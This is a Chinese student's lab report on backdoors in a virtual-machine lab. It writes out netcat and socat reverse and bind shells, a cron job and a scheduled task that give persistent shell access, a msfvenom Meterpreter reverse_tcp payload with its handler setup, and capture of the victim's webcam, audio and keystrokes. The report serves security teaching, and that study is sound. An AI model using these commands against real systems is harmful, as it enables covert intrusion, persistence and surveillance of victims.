实验二 后门原理与实践
实验内容
- (1) 使用netcat获取主机操作Shell,cron启动
- (2) 使用socat获取主机操作Shell, 任务计划启动
- (3) 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- (4) 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
实验工具
-
Netcat
又名nc,ncat。是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
Windows: 课程主页附件中下载ncat.rar解压即可使用。
-
Socat
netcat增强版,超级netcat工具。
windows版见附件。解压即用,不用安装。
任何代理、转发等功能都可以用该工具实现。
-
Meterpreter
kali机自带,只在kali中用。
具有强大的功能,特别是其socks代理,内网渗透测试神器。
熟悉后门工具
在实验开始前先熟悉一下ncat的使用,使用前确定Linux和Windows都安装好了ncat。
我们的kali机自带,可以直接用man ncat 命令查看。windows7中,直接在浏览器里从 GitHub下载或者从自己机子里拖拽进去。
确定ip地址
首先确定三个端的ip地址。
在本机Windows、虚拟机Win7中命令行中输入指令 ipconfig 查看ip地址,Linux中终端中输入指令 ifconfig 查看ip地址。
如图所见,主机Windows的ip地址为 192.168.199.209 ;
虚拟机Win7的ip地址为 192.168.10.137 ;Linux的ip地址为 192.168.10.136 。
Netcat
1.Windows获得Linux操作shell
windows端进入netcat文件的位置,使用命令行输入 ncat.exe -l 5234 ,打开监听,其中5234为监听的端口。
在Linux中反弹连接Windows, nc 192.168.10.137 5234 -e /bin/sh ,使用 -e 选项执行shell程序,指令中的ip地址为虚拟机Win7的ip地址。
- Windows成功获得Linux的shell,此时就可以通过windows端的命令行实现对linux的操作了
2.Windows获得Linux操作shell
- 在Linux终端输入 nc -l -p 5234 打开监听
- windows反弹连接linux,指令为 ncat.exe -e cmd.exe 192.168.10.136 5234
- Linux成功获得了Windows的控制权,此时就可以通过linux来控制windows主机了
3.使用netcat传输数据
- 在windows命令行输入命令:ncat.exe -l 5234,打开监听
- 在Linux终端输入nc 192.168.10.137 5234,连接到windows的5234端口,此时输入任意语句
- 成功实现linux和windows之间的数据传输
Meterpreter
- 后门就是一个程序。
- 传统的理解是:有人编写一个后门程序,大家拿来用。
- 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
基本功能(基本的连接、执行指令)
,扩展功能(如搜集用户信息、安装服务等功能)
,编码模式
,运行平台
,- 以及
运行参数
- 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
这一部分也会在接下来的实验中动手实践的~
实验步骤
一、使用netcat获取主机操作Shell,cron启动
- Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。
(1)在windows命令行,输入命令 ncat.exe -l -p 5234 ,监听本机的5234端口。
(2)在Linux终端,输入 crontab -e ,编辑一条定时任务,选择3。
(3)vim编辑器中用 i 改为插入模式,在最后一行插入 54 * * * * /bin/netcat 192.168.10.137 5234 -e /bin/sh
后输入 :wq! 保存并退出,上述指令表示在每小时的54分运行此命令。
- 到时间之后,输入 ls 指令,可以看到windows端已经获得了shell
二、使用Socat获取主机操作Shell, 任务计划启动
socat是ncat的增强版,socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。
作为一款双向数据流通道工具,它拥有许多强大的功能:端口的连接、端口侦听、收发文件、传递shell、端口转发、端口扫描等。
实践前在Windows安装好socat。
(1)在Win7打开控制面板,分别选中 管理工具 、 任务计划程序 、 创建任务
(2)在任务计划程序中创建新任务,填写任务名称,新建一个触发器。
(3)在创建任务中创建新操作,在 程序或脚本 中选择 socat.exe 文件的路径,在添加参数一栏填写 tcp-listen:5234 exec:cmd.exe,pty,stderr 。
这个命令的作用是把 cmd.exe 绑定到端口 5234 ,同时把 cmd.exe 的 stderr 重定向到 stdout 上
找到自己刚刚创建的任务,右键运行,会弹出一个名为 taskeng.exe 的框
(4)锁定计算机,创建的任务开始运行。
(5)在Linux终端输入指令 socat - tcp:192.168.10.137:5234 ,发现成功获得了cmd shell,能够输入Windows的命令
三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(1)在Linux终端输入指令生成后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.136 LPORT=5234 -f exe > 20165234.exe
其中 192.168.10.136 为虚拟机Linux的ip地址
(2)通过nc传输已经生成的 20165234.exe 程序文件
在Win7中输入:ncat.exe -lv 5234 > 20165234.exe 监听并接受后门程序;
在Linux中输入: nc 192.168.10.137 5234 < 20165234.exe 向Win7传输后门程序。
在Win7中运行后门程序
(3)在Linux中输入指令 msfconsole ,进入msf命令行,msf启动监听前需要进行一些设置
输入以下命令进行设置:
use exploit/multi/handler /*进入handler模式*/ set payload windows/meterpreter/reverse_tcp /*对应生成的后门程序设置payload*/ show options /*查看当前信息状态*/ set LHOST 192.168.10.136 /*设置LHOST,其中ip为Linux的ip*/ set LPORT 5234 /*设置LPORT*/ exploit /*启动监听*/
(4)启动监听后,在win中运行后门程序,此时Linux已经获得了Windows主机的连接,并且得到了远程控制的shell,能够输入Windows中的命令。
四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(1)获取目标主机音频
(2)获取目标主机摄像头
显示错误,这是因为win7上没有装驱动。解决方法为:在Win7虚拟机窗口右下角有个摄像头图标,点击图标即可。
再次尝试就成功啦,虽然拍出来的效果有些诡异...(图中是拍了很多次才满意)
(3)获取目标主机击键记录
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
浏览网站所附带的软件,在不正规的网站下载软件,使用外挂以及盗版的软件。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
win:设置为开机自启动
Linux:将木马设为定时启动
(3)Meterpreter有哪些给你映像深刻的功能?
可以说吊炸天了,可以获取目标主机音频、摄像头、击键记录等内容,我觉得仅仅这几项就对受害者威胁很大了。
(4)如何发现自己有系统有没有被安装后门?
安装专门的杀毒软件,实时防护,并定期检测电脑安全情况。在防火墙看开启的端口及对应的进程,一般不是系统默认开启的端口都是可疑的,要找一下对应的进程, 找到对应进程,对相应进程进行抓包,查看其通信的数据,分析是不是后门。
实验感想
对照老师的教程走一遍难度并不大,所以本次实验总体还是较为顺利的,没有遇到什么大问题。
对于“后门”这个概念,我的认知可能仅限于平时看到的相关新闻了,而本次实验正如其名,不但让我了解其原理还亲自动手去实践,观察攻击者与受害者的行为。
虽然我只是接触到了一些简单的指令,还没有进行更多更深入的了解,但还是深切地感受到了Metasploit的可怕之处。
最大的感想就是......我已经把摄像头给贴住了......当威胁来临的时候想都想不到,所以我们一定要时刻注意自己的信息安全......